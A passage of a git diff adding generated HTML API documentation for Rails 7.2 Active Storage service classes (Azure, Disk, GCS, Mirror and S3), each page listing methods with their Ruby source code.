+ + delete(key) + +

+ + +
+

Delete the file at the key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 101
+    def delete(key)
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_prefixed(prefix) + +

+ + +
+

Delete files at keys starting with the prefix.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 106
+    def delete_prefixed(prefix)
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download(key) + +

+ + +
+

Return the content of the file at the key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 82
+    def download(key)
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download_chunk(key, range) + +

+ + +
+

Return the partial content in the byte range of the file at the key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 87
+    def download_chunk(key, range)
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exist?(key) + +

+ + +
+

Return true if a file exists at the key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 111
+    def exist?(key)
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers_for_direct_upload(key, filename:, content_type:, content_length:, checksum:, custom_metadata: {}) + +

+ + +
+

Returns a Hash of headers for url_for_direct_upload requests.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 143
+    def headers_for_direct_upload(key, filename:, content_type:, content_length:, checksum:, custom_metadata: {})
+      {}
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + open(*args, **options, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 91
+    def open(*args, **options, &block)
+      ActiveStorage::Downloader.new(self).open(*args, **options, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + public?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 147
+    def public?
+      @public
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_metadata(key, **metadata) + +

+ + +
+

Update metadata for the file identified by key in the service. Override in subclasses only if the service needs to store specific metadata that has to be updated upon identification.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 78
+    def update_metadata(key, **metadata)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upload(key, io, checksum: nil, **options) + +

+ + +
+

Upload the io to the key specified. If a checksum is provided, the service will ensure a match when the upload has completed or raise an ActiveStorage::IntegrityError.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 71
+    def upload(key, io, checksum: nil, **options)
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url(key, **options) + +

+ + +
+

Returns the URL for the file at the key. This returns a permanent URL for public files, and returns a short-lived URL for private files. For private files you can provide the disposition (:inline or :attachment), filename, and content_type that you wish the file to be served with on request. Additionally, you can also provide the amount of seconds the URL will be valid for, specified in expires_in.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 119
+    def url(key, **options)
+      instrument :url, key: key do |payload|
+        generated_url =
+          if public?
+            public_url(key, **options)
+          else
+            private_url(key, **options)
+          end
+
+        payload[:url] = generated_url
+
+        generated_url
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {}) + +

+ + +
+

Returns a signed, temporary URL that a direct upload file can be PUT to on the key. The URL will be valid for the amount of seconds specified in expires_in. You must also provide the content_type, content_length, and checksum of the file that will be uploaded. All these attributes will be validated by the service upon upload.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 138
+    def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service/AzureStorageService.html b/src/7.2/classes/ActiveStorage/Service/AzureStorageService.html new file mode 100644 index 0000000000..5949ca6fc3 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service/AzureStorageService.html @@ -0,0 +1,572 @@ +--- +title: ActiveStorage::Service::AzureStorageService +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Azure Storage Service

+ +

Wraps the Microsoft Azure Storage Blob Service as an Active Storage service. See ActiveStorage::Service for the generic API documentation that applies to all services.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + client
+ [R] + container
+ [R] + signer
+ + + + +

Class Public methods

+ +
+

+ + new(storage_account_name:, storage_access_key:, container:, public: false, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 17
+    def initialize(storage_account_name:, storage_access_key:, container:, public: false, **options)
+      @client = Azure::Storage::Blob::BlobService.create(storage_account_name: storage_account_name, storage_access_key: storage_access_key, **options)
+      @signer = Azure::Storage::Common::Core::Auth::SharedAccessSignature.new(storage_account_name, storage_access_key)
+      @container = container
+      @public = public
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 112
+    def compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {})
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+
+      client.create_append_blob(
+        container,
+        destination_key,
+        content_type: content_type,
+        content_disposition: content_disposition,
+        metadata: custom_metadata,
+      ).tap do |blob|
+        source_keys.each do |source_key|
+          stream(source_key) do |chunk|
+            client.append_blob_block(container, blob.name, chunk)
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 58
+    def delete(key)
+      instrument :delete, key: key do
+        client.delete_blob(container, key)
+      rescue Azure::Core::Http::HTTPError => e
+        raise unless e.type == "BlobNotFound"
+        # Ignore files already deleted
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_prefixed(prefix) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 67
+    def delete_prefixed(prefix)
+      instrument :delete_prefixed, prefix: prefix do
+        marker = nil
+
+        loop do
+          results = client.list_blobs(container, prefix: prefix, marker: marker)
+
+          results.each do |blob|
+            client.delete_blob(container, blob.name)
+          end
+
+          break unless marker = results.continuation_token.presence
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download(key, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 34
+    def download(key, &block)
+      if block_given?
+        instrument :streaming_download, key: key do
+          stream(key, &block)
+        end
+      else
+        instrument :download, key: key do
+          handle_errors do
+            _, io = client.get_blob(container, key)
+            io.force_encoding(Encoding::BINARY)
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download_chunk(key, range) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 49
+    def download_chunk(key, range)
+      instrument :download_chunk, key: key, range: range do
+        handle_errors do
+          _, io = client.get_blob(container, key, start_range: range.begin, end_range: range.exclude_end? ? range.end - 1 : range.end)
+          io.force_encoding(Encoding::BINARY)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exist?(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 83
+    def exist?(key)
+      instrument :exist, key: key do |payload|
+        answer = blob_for(key).present?
+        payload[:exist] = answer
+        answer
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers_for_direct_upload(key, content_type:, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 106
+    def headers_for_direct_upload(key, content_type:, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **)
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if filename
+
+      { "Content-Type" => content_type, "Content-MD5" => checksum, "x-ms-blob-content-disposition" => content_disposition, "x-ms-blob-type" => "BlockBlob", **custom_metadata_headers(custom_metadata) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upload(key, io, checksum: nil, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 24
+    def upload(key, io, checksum: nil, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}, **)
+      instrument :upload, key: key, checksum: checksum do
+        handle_errors do
+          content_disposition = content_disposition_with(filename: filename, type: disposition) if disposition && filename
+
+          client.create_block_blob(container, key, IO.try_convert(io) || io, content_md5: checksum, content_type: content_type, content_disposition: content_disposition, metadata: custom_metadata)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/azure_storage_service.rb, line 91
+    def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})
+      instrument :url, key: key do |payload|
+        generated_url = signer.signed_uri(
+          uri_for(key), false,
+          service: "b",
+          permissions: "rw",
+          expiry: format_expiry(expires_in)
+        ).to_s
+
+        payload[:url] = generated_url
+
+        generated_url
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service/DiskService.html b/src/7.2/classes/ActiveStorage/Service/DiskService.html new file mode 100644 index 0000000000..5dab42219e --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service/DiskService.html @@ -0,0 +1,538 @@ +--- +title: ActiveStorage::Service::DiskService +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Disk Service

+ +

Wraps a local disk path as an Active Storage service. See ActiveStorage::Service for the generic API documentation that applies to all services.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + root
+ + + + +

Class Public methods

+ +
+

+ + new(root:, public: false, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 16
+    def initialize(root:, public: false, **options)
+      @root = root
+      @public = public
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compose(source_keys, destination_key, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 105
+    def compose(source_keys, destination_key, **)
+      File.open(make_path_for(destination_key), "w") do |destination_file|
+        source_keys.each do |source_key|
+          File.open(path_for(source_key), "rb") do |source_file|
+            IO.copy_stream(source_file, destination_file)
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 53
+    def delete(key)
+      instrument :delete, key: key do
+        File.delete path_for(key)
+      rescue Errno::ENOENT
+        # Ignore files already deleted
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_prefixed(prefix) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 61
+    def delete_prefixed(prefix)
+      instrument :delete_prefixed, prefix: prefix do
+        Dir.glob(path_for("#{prefix}*")).each do |path|
+          FileUtils.rm_rf(path)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download(key, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 28
+    def download(key, &block)
+      if block_given?
+        instrument :streaming_download, key: key do
+          stream key, &block
+        end
+      else
+        instrument :download, key: key do
+          File.binread path_for(key)
+        rescue Errno::ENOENT
+          raise ActiveStorage::FileNotFoundError
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download_chunk(key, range) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 42
+    def download_chunk(key, range)
+      instrument :download_chunk, key: key, range: range do
+        File.open(path_for(key), "rb") do |file|
+          file.seek range.begin
+          file.read range.size
+        end
+      rescue Errno::ENOENT
+        raise ActiveStorage::FileNotFoundError
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exist?(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 69
+    def exist?(key)
+      instrument :exist, key: key do |payload|
+        answer = File.exist? path_for(key)
+        payload[:exist] = answer
+        answer
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers_for_direct_upload(key, content_type:, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 97
+    def headers_for_direct_upload(key, content_type:, **)
+      { "Content-Type" => content_type }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upload(key, io, checksum: nil, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 21
+    def upload(key, io, checksum: nil, **)
+      instrument :upload, key: key, checksum: checksum do
+        IO.copy_stream(io, make_path_for(key))
+        ensure_integrity_of(key, checksum) if checksum
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/disk_service.rb, line 77
+    def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})
+      instrument :url, key: key do |payload|
+        verified_token_with_expiration = ActiveStorage.verifier.generate(
+          {
+            key: key,
+            content_type: content_type,
+            content_length: content_length,
+            checksum: checksum,
+            service_name: name
+          },
+          expires_in: expires_in,
+          purpose: :blob_token
+        )
+
+        url_helpers.update_rails_disk_service_url(verified_token_with_expiration, url_options).tap do |generated_url|
+          payload[:url] = generated_url
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service/GCSService.html b/src/7.2/classes/ActiveStorage/Service/GCSService.html new file mode 100644 index 0000000000..516ae00757 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service/GCSService.html @@ -0,0 +1,610 @@ +--- +title: ActiveStorage::Service::GCSService +layout: default +--- +
+ +
+
+ +
+ +

Active Storage GCS Service

+ +

Wraps the Google Cloud Storage as an Active Storage service. See ActiveStorage::Service for the generic API documentation that applies to all services.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(public: false, **config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 16
+    def initialize(public: false, **config)
+      @config = config
+      @public = public
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 139
+    def compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {})
+      bucket.compose(source_keys, destination_key).update do |file|
+        file.content_type = content_type
+        file.content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+        file.metadata = custom_metadata
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 66
+    def delete(key)
+      instrument :delete, key: key do
+        file_for(key).delete
+      rescue Google::Cloud::NotFoundError
+        # Ignore files already deleted
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_prefixed(prefix) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 74
+    def delete_prefixed(prefix)
+      instrument :delete_prefixed, prefix: prefix do
+        bucket.files(prefix: prefix).all do |file|
+          file.delete
+        rescue Google::Cloud::NotFoundError
+          # Ignore concurrently-deleted files
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download(key, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 34
+    def download(key, &block)
+      if block_given?
+        instrument :streaming_download, key: key do
+          stream(key, &block)
+        end
+      else
+        instrument :download, key: key do
+          file_for(key).download.string
+        rescue Google::Cloud::NotFoundError
+          raise ActiveStorage::FileNotFoundError
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download_chunk(key, range) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 58
+    def download_chunk(key, range)
+      instrument :download_chunk, key: key, range: range do
+        file_for(key).download(range: range).string
+      rescue Google::Cloud::NotFoundError
+        raise ActiveStorage::FileNotFoundError
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exist?(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 84
+    def exist?(key)
+      instrument :exist, key: key do |payload|
+        answer = file_for(key).exists?
+        payload[:exist] = answer
+        answer
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers_for_direct_upload(key, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 128
+    def headers_for_direct_upload(key, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **)
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if filename
+
+      headers = { "Content-MD5" => checksum, "Content-Disposition" => content_disposition, **custom_metadata_headers(custom_metadata) }
+      if @config[:cache_control].present?
+        headers["Cache-Control"] = @config[:cache_control]
+      end
+
+      headers
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_metadata(key, content_type:, disposition: nil, filename: nil, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 48
+    def update_metadata(key, content_type:, disposition: nil, filename: nil, custom_metadata: {})
+      instrument :update_metadata, key: key, content_type: content_type, disposition: disposition do
+        file_for(key).update do |file|
+          file.content_type = content_type
+          file.content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+          file.metadata = custom_metadata
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upload(key, io, checksum: nil, content_type: nil, disposition: nil, filename: nil, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 21
+    def upload(key, io, checksum: nil, content_type: nil, disposition: nil, filename: nil, custom_metadata: {})
+      instrument :upload, key: key, checksum: checksum do
+        # GCS's signed URLs don't include params such as response-content-type response-content_disposition
+        # in the signature, which means an attacker can modify them and bypass our effort to force these to
+        # binary and attachment when the file's content type requires it. The only way to force them is to
+        # store them as object's metadata.
+        content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+        bucket.create_file(io, key, md5: checksum, cache_control: @config[:cache_control], content_type: content_type, content_disposition: content_disposition, metadata: custom_metadata)
+      rescue Google::Cloud::InvalidArgumentError
+        raise ActiveStorage::IntegrityError
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for_direct_upload(key, expires_in:, checksum:, custom_metadata: {}, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/gcs_service.rb, line 92
+    def url_for_direct_upload(key, expires_in:, checksum:, custom_metadata: {}, **)
+      instrument :url, key: key do |payload|
+        headers = {}
+        version = :v2
+
+        if @config[:cache_control].present?
+          headers["Cache-Control"] = @config[:cache_control]
+          # v2 signing doesn't support non `x-goog-` headers. Only switch to v4 signing
+          # if necessary for back-compat; v4 limits the expiration of the URL to 7 days
+          # whereas v2 has no limit
+          version = :v4
+        end
+
+        headers.merge!(custom_metadata_headers(custom_metadata))
+
+        args = {
+          content_md5: checksum,
+          expires: expires_in,
+          headers: headers,
+          method: "PUT",
+          version: version,
+        }
+
+        if @config[:iam]
+          args[:issuer] = issuer
+          args[:signer] = signer
+        end
+
+        generated_url = bucket.signed_url(key, **args)
+
+        payload[:url] = generated_url
+
+        generated_url
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service/GCSService/MetadataServerError.html b/src/7.2/classes/ActiveStorage/Service/GCSService/MetadataServerError.html new file mode 100644 index 0000000000..91f6b00a43 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service/GCSService/MetadataServerError.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::Service::GCSService::MetadataServerError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service/GCSService/MetadataServerNotFoundError.html b/src/7.2/classes/ActiveStorage/Service/GCSService/MetadataServerNotFoundError.html new file mode 100644 index 0000000000..f8a74ceae0 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service/GCSService/MetadataServerNotFoundError.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::Service::GCSService::MetadataServerNotFoundError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service/MirrorService.html b/src/7.2/classes/ActiveStorage/Service/MirrorService.html new file mode 100644 index 0000000000..83d059a7c6 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service/MirrorService.html @@ -0,0 +1,318 @@ +--- +title: ActiveStorage::Service::MirrorService +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Mirror Service

+ +

Wraps a set of mirror services and provides a single ActiveStorage::Service object that will all have the files uploaded to them. A primary service is designated to answer calls to:

+
  • +

    download

    +
  • +

    exists?

    +
  • +

    url

    +
  • +

    url_for_direct_upload

    +
  • +

    headers_for_direct_upload

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + mirrors
+ [R] + primary
+ + + + +

Class Public methods

+ +
+

+ + new(primary:, mirrors:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/mirror_service.rb, line 31
+    def initialize(primary:, mirrors:)
+      @primary, @mirrors = primary, mirrors
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + delete(key) + +

+ + +
+

Delete the file at the key on all services.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/mirror_service.rb, line 45
+    def delete(key)
+      perform_across_services :delete, key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_prefixed(prefix) + +

+ + +
+

Delete files at keys starting with the prefix on all services.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/mirror_service.rb, line 50
+    def delete_prefixed(prefix)
+      perform_across_services :delete_prefixed, prefix
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mirror(key, checksum:) + +

+ + +
+

Copy the file at the key from the primary service to each of the mirrors where it doesn’t already exist.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/mirror_service.rb, line 59
+    def mirror(key, checksum:)
+      instrument :mirror, key: key, checksum: checksum do
+        if (mirrors_in_need_of_mirroring = mirrors.select { |service| !service.exist?(key) }).any?
+          primary.open(key, checksum: checksum) do |io|
+            mirrors_in_need_of_mirroring.each do |service|
+              io.rewind
+              service.upload key, io, checksum: checksum
+            end
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upload(key, io, checksum: nil, **options) + +

+ + +
+

Upload the io to the key specified to all services. The upload to the primary service is done synchronously whereas the upload to the mirrors is done asynchronously. If a checksum is provided, all services will ensure a match when the upload has completed or raise an ActiveStorage::IntegrityError.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/mirror_service.rb, line 38
+    def upload(key, io, checksum: nil, **options)
+      io.rewind
+      primary.upload key, io, checksum: checksum, **options
+      mirror_later key, checksum: checksum
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service/S3Service.html b/src/7.2/classes/ActiveStorage/Service/S3Service.html new file mode 100644 index 0000000000..49ca004c40 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service/S3Service.html @@ -0,0 +1,588 @@ +--- +title: ActiveStorage::Service::S3Service +layout: default +--- +
+ +
+
+ +
+ +

Active Storage S3 Service

+ +

Wraps the Amazon Simple Storage Service (S3) as an Active Storage service. See ActiveStorage::Service for the generic API documentation that applies to all services.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
MAXIMUM_UPLOAD_PARTS_COUNT=10000
MINIMUM_UPLOAD_PART_SIZE=5.megabytes
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + bucket
+ [R] + client
+ [R] + multipart_upload_threshold
+ [R] + upload_options
+ + + + +

Class Public methods

+ +
+

+ + new(bucket:, upload: {}, public: false, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 17
+    def initialize(bucket:, upload: {}, public: false, **options)
+      @client = Aws::S3::Resource.new(**options)
+      @bucket = @client.bucket(bucket)
+
+      @multipart_upload_threshold = upload.delete(:multipart_threshold) || 100.megabytes
+      @public = public
+
+      @upload_options = upload
+      @upload_options[:acl] = "public-read" if public?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 100
+    def compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {})
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+
+      object_for(destination_key).upload_stream(
+        content_type: content_type,
+        content_disposition: content_disposition,
+        part_size: MINIMUM_UPLOAD_PART_SIZE,
+        metadata: custom_metadata,
+        **upload_options
+      ) do |out|
+        source_keys.each do |source_key|
+          stream(source_key) do |chunk|
+            IO.copy_stream(StringIO.new(chunk), out)
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 62
+    def delete(key)
+      instrument :delete, key: key do
+        object_for(key).delete
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_prefixed(prefix) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service/s3_service.rb, line 68
+    def delete_prefixed(prefix)
+      instrument :delete_prefixed, prefix: prefix do
+        bucket.objects(prefix: prefix).batch_delete!
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download(key, &block) + +

+ + +
+ +
